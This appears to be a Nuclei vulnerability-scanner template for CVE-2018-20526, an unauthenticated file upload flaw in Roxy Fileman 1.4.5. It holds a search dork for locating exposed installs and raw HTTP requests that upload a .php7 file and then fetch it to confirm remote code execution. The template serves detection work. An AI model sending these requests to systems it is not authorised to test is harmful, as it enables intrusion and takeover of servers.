id: CVE-2018-20526 info: name: Roxy Fileman 1.4.5 - Unrestricted File Upload author: DhiyaneshDK severity: critical description: | Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. impact: | Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to execute arbitrary commands on the target system. remediation: | Upgrade to a patched version of Roxy Fileman or apply the necessary security patches to prevent unrestricted file uploads. reference: - http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html - https://www.exploit-db.com/exploits/46085/ - https://nvd.nist.gov/vuln/detail/CVE-2018-20526 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-20526 cwe-id: CWE-434 epss-score: 0.00803 epss-percentile: 0.79773 cpe: cpe:2.3:a:roxyfileman:roxy_fileman:1.4.5:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: roxyfileman product: roxy_fileman google-query: intitle:"Roxy file manager" tags: cve,cve2018,roxy,fileman,rce,fileupload,intrusive,packetstorm,edb,roxyfileman http: - raw: - | POST /php/upload.php HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Origin: {{BaseURL}} Referer: {{BaseURL}} Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 ------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="action" upload ------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="method" ajax ------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="d" /Uploads ------WebKitFormBoundary20kgW2hEKYaeF5iP Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php7" Content-Type: application/octet-stream ------WebKitFormBoundary20kgW2hEKYaeF5iP-- - | GET /Uploads/{{randstr}}.php7 HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - "f76d6a5f7491700cc3a678bdba2902d3" - type: status status: - 200 # digest: 490a00463044022055acaef237f887e81e2f53a328ef51ea76226ad7eec03f44e1428746afd526b902205e42b492cbe0c327a388accbe7a220f31565da923b4968f3add17f3361fb7a32:922c64590222798bb761d5b6d8e72950